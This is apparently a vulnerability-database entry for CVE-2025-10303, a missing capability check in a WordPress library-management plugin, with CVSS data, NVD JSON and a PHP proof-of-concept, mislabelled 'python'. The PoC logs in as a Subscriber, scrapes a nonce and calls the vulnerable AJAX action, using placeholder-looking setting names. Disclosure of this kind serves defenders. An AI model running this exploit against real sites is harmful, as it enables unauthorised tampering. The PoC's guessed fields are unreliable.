Security Vulnerability Report
中文
CVE-2025-10303 CVSS 4.3 MEDIUM

CVE-2025-10303

Published: 2025-10-15 09:15:40
Last Modified: 2026-04-15 00:35:42

Description

The Library Management System plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the owt7_library_management_ajax_handler() function in all versions up to, and including, 3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update and manipulate several of the plugin's settings and features.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Library Management System 插件 所有版本 ≤ 3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * PoC for CVE-2025-10303 * WordPress Library Management System - Missing Capability Check * * This PoC demonstrates how an authenticated Subscriber-level user * can exploit the missing capability check in the * owt7_library_management_ajax_handler() AJAX function to modify * plugin settings without proper authorization. */ // Target WordPress site URL $target_url = 'http://target-wordpress-site.com'; // Step 1: Authenticate as a Subscriber-level user // (Obtain cookies via login - nonce may be required) $login_url = $target_url . '/wp-login.php'; $cookies = '/path/to/cookies.txt'; // Cookie jar file $username = 'subscriber_user'; $password = 'password123'; // Login to WordPress and obtain session cookies + nonce $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to'=> $target_url . '/wp-admin/', 'testcookie' => 1, ])); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_exec($ch); curl_close($ch); // Step 2: Retrieve a valid nonce from a page containing the plugin's AJAX handler $admin_page = $target_url . '/wp-admin/admin.php?page=library-management-system'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $admin_page); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); // Extract nonce value (pattern may vary) preg_match('/nonce["\s:=]+([a-f0-9]+)/i', $response, $matches); $nonce = $matches[1] ?? ''; // Step 3: Exploit the missing capability check via admin-ajax.php $ajax_url = $target_url . '/wp-admin/admin-ajax.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ajax_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'owt7_library_management_ajax_handler', 'nonce' => $nonce, // Example manipulated plugin settings 'library_setting_name' => 'malicious_value', 'owt7_library_management_field_name' => 'malicious_data', ])); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "HTTP Status: $http_code\n"; echo "Response: $response\n"; // If the server returns 200 with success indicator, the exploit succeeded echo $http_code === 200 ? "Exploit successful - plugin settings modified!\n" : "Exploit may have failed.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10303", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:39.780", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Library Management System plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the owt7_library_management_ajax_handler() function in all versions up to, and including, 3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update and manipulate several of the plugin's settings and features."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/library-management-system/trunk/admin/class-library-management-system-admin.php#L831", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3382258", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9e45feb6-5ffa-4ad3-9549-4414988f040e?source=cve", "source": "[email protected]"}]}}